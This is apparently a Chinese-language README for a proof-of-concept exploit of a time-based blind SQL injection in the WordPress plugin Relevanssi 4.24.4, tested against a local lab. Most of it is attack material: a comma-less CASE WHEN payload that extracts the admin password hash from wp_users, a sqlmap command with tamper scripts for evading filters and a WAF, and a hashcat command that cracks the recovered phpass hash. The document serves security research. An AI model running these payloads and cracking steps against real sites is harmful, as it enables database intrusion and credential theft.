免责声明: 本仓库仅供授权的渗透测试、安全研究和教育目的使用。未经授权访问计算机系统是非法的且不道德的行为。
一个针对WordPress插件Relevanssi 4.24.4中时间型盲SQL注入漏洞的概念验证利用。该实现特别解决了以下加固环境中的问题:
SUBSTR(str, pos, len)和IF(cond, true, false)语法SLEEP(),产生误报在某些环境(例如DVWP实验室)中,标准SQL注入载荷因两个关键原因而失败:
| 问题 | 影响 |
|---|---|
| 逗号剥离 | 破坏SUBSTR(str, pos, len)和IF(cond, true, false) |
贪婪SLEEP() | MySQL在完整布尔表达式之前评估sleep,导致误报 |
这两个问题都需要有针对性的解决方案——下面介绍的手动和自动化方法均可解决。
asy.py)一个提供精确逐字符提取的异步Python脚本。避免自动化工具开销,并通过CASE WHEN逻辑绕过逗号过滤。
| 特性 | 实现 |
|---|---|
| 异步I/O | aiohttp用于非阻塞请求 |
| 无逗号载荷 | SUBSTR(str FROM pos FOR len)语法 |
| 非贪婪逻辑 | CASE WHEN确保SLEEP()仅在TRUE时触发 |
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
为什么使用CASE WHEN而不是IF()?
IF()使用逗号且容易受到贪婪评估的影响。CASE WHEN惰性评估,确保SLEEP()仅在条件为真时触发。
SQLMap可以使用特定的篡改脚本和标志自动发现此环境中的漏洞。
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
| 标志 | 用途 |
|---|---|
--tamper=commalessmid,if2case | 将载荷重写为无逗号SQL;用CASE WHEN替换IF() |
--tamper=between | 将>比较替换为BETWEEN以额外绕过WAF |
--technique=T | 仅限制为时间型盲注 |
--no-cast | 防止引入禁止逗号的CAST()包装器 |
--threads=1 | 确保时间精度 — 并发请求会导致睡眠延迟重叠 |
关于
--threads=1的说明: 这对可靠提取至关重要。多线程会导致睡眠延迟重叠,破坏二分查找的时序,产生乱码输出。
| 字段 | 值 |
|---|---|
| 目标 | WordPress wp_users表 |
| 用户 | admin(ID = 1) |
| 提取的哈希 | REDACTED |
| 算法 | phpass(标准WordPress密码哈希) |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 针对phpass哈希-a 0 是使用rockyou.txt的纯字典攻击